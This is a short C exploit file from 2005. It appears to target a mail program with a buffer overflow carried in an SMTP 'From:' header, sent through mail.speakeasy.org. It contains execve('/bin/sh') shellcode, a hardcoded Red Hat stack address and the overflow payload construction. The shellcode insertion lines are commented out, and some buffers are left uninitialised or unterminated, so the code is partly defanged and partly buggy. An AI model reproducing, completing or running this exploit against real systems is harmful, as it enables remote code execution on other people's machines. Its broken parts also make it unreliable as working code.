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C/C++ Source or Header
|
2005-02-12
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3KB
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114 lines
Arkane [bTm]
######### ### # ## # # ## # # ## # # # # # # # ### ## ## */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
unsigned long get_sp (void)
{
__asm__ ("mov %esp, %eax");
}
#define ADDRLEN 700
#define EXECLEN 1000
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main (int argc, char **argv)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
char helo[100];
char mail[100];
char rcpt[100];
char data[2500];
char start[20];
int offset = 0;
unsigned long addr;
int i;
char *addrs,*exec;
addrs = (char *) malloc (ADDRLEN);
exec = (char *) malloc (EXECLEN);
if(argc < 2)
{
printf(" Usage: %s <Email Address> <offset>\n", argv[0]);
printf(" \n\n");
exit(0);
}
if (argc == 3)
offset = atoi (argv[2]);
//addr = get_sp () - offset;
addr = 0xbfffe7e2; //RH62
memset(addrs,0x41,ADDRLEN);
// for (i = 0; i < ADDRLEN ; i += 4)
// *(unsigned *) &addrs[i] = addr;
// memset(exec,0x90,EXECLEN);
// memset(addrs+195,0x90,5);
// memcpy (addrs + 200, shellcode, strlen (shellcode));
if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) {
printf ("Could not resolve mail.speakeasy.org.\n");
exit(1); }
if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Error");
exit(1); }
server.sin_family = AF_INET;
server.sin_port = htons (25);
server.sin_addr.s_addr = *(u_long *) hp->h_addr;
bzero (&(server.sin_zero), 8);
if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {
printf ("Connection refused\n");
exit(1); }
sprintf (helo, "helo test\r\n");
sprintf (mail, "mail from: %s\r\n",argv[1]);
send (s, helo, strlen (helo), 0);
send (s, mail, strlen (mail), 0);
sprintf (rcpt, "rcpt to: %s\r\n",argv[1]);
send (s, rcpt, strlen (rcpt), 0);
sprintf(start,"data\r\n");
send (s, start, strlen (start), 0);
fprintf(stderr," Message Sent! \n");
sprintf(data,"From: %s AAAAAAAA test@test.net\r\n%s\r\n.\r\nquit\r\n",addrs,exec);
send (s, data, strlen (data), 0);
close (s);
exit(0);
}